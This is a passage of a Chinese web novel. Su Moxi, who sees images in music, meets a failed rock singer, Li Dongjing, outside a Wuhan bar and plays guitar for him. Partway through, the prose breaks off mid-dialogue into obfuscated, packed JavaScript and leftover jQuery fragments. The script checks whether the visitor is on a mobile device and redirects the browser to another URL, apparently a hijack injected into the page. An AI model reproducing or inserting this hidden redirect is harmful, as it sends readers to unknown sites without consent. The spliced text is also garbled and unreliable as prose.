武汉的夏夜闷热得像一块湿毛巾，苏末晞站在"破铜烂铁"酒吧门口，手里攥着一张被汗水浸软的演出门票。酒吧里传出的音乐声让她皱起眉头——吉他走音，鼓点凌乱，最要命的是主唱那干涩嘶哑的嗓音，像砂纸摩擦着耳膜。
"退票！这唱的什么玩意儿！"
"下去吧！别糟蹋摇滚了！"
"还不如放原唱！"
苏末晞没有进去。她靠在酒吧外墙剥落的砖面上，闭着眼睛。每当音乐响起，她的脑海中就会自动浮现画面——这是她从小到大的秘密。别人的音乐是旋律，对她而言却是流动的画卷。
但此刻她"看"到的是一片龟裂的荒地，灰白的天空下，几株枯树扭曲着枝丫。这是主唱李东京的内心世界。苏末晞惊讶地睁开眼，她从未见过如此贫瘠的音乐图景。
酒吧里的骚动升级了。玻璃杯砸在地上的脆响，椅子翻倒的闷响，还有那个主唱歇斯底里的辩解："你们不懂艺术！摇滚就是要打破常规！"
苏末晞的太阳穴突突跳动。突然，后门被猛地撞开，一个瘦高的身影冲了出来。白衬衫被汗水浸得透明，黑色皮裤上沾着啤酒渍，那张苍白的脸上最醒目的是两道粗黑的眼线——已经晕染成了熊猫眼。
李东京。苏末晞在宣传海报上见过这张脸。此刻他正对着垃圾桶干呕，然后瘫坐在散发着馊味的后巷里，把价值不菲的吉他摔在墙角。
"全是猪！他们只配听抖音神曲！"他对着空气咆哮，声音却带着哭腔。
苏末晞本该悄悄离开，但某种奇异的力量让她向前迈了一步。月光照在李东京颤抖的肩线上，她突然"看"得更清楚了——在那片荒芜之地的中央，有个小男孩蹲在干涸的井边，不断把空桶扔进深不见底的黑暗。
"你的音乐..."苏末晞脱口而出，"为什么这么空洞？"
李东京猛地抬头，眼线晕开的眼睛在月光下像两个黑洞。"你谁啊？"他哑着嗓子问，随即冷笑，"也是来要退票的？"
苏末晞摇摇头。她取下背着的旧吉他，坐在李东京对面肮脏的消防栓上。手指轻轻拨动琴弦，是《加州旅馆》的前奏。她闭上眼睛，让自己脑海中的画面随着音乐流淌——沙漠公路上的落日，汽车旅馆霓虹灯下的飞蛾，威士忌酒杯里晃动的冰块...
等她弹完睁开眼，发现李东京的表情变了。他盯着苏末晞的脸，像是第一次看见人类的外星生物。
"
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949933|177513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你怎么..."他的喉结滚动，"能让吉他发出这种声音？"
苏末晞没有回答。她看着李东京身后墙上斑驳的涂鸦，突然意识到这个傲慢的主唱眼里闪烁的是什么——那是她五岁时第一次触摸琴弦时的眼神，纯粹的、饥饿的好奇。
"音乐不是用来装的。"她轻声说，把吉他收回琴袋，"它就像镜子，只会诚实反映弹奏者的内心。"
李东京突然抓住她的手腕。他的掌心滚烫，带着演出失败的耻辱温度。"你看到了什么？"他声音嘶哑，"在我的...音乐里？"
苏末晞望着他身后巷子尽头的一盏坏掉的路灯，那闪烁的节奏像垂死的心跳。"一片荒地。"她最终说，"但地下可能有水。"
远处传来酒吧保安的喊声，大概是来清理闹事者的。苏末晞挣开他的手，消失在巷子转弯处。她没有看见李东京弯腰捡起被她遗落的拨片时，脸上那种近乎虔诚的表情。
夜风吹散酒吧里飘出的烟味。苏末晞走在回学校的路上，指尖还残留着琴弦的触感。她不知道的是，此刻李东京正站在她刚才的位置，笨拙地模仿她弹奏的姿势，而在他荒芜的内心世界里，有一粒沙那么大的绿芽，正艰难地顶开干裂的土壤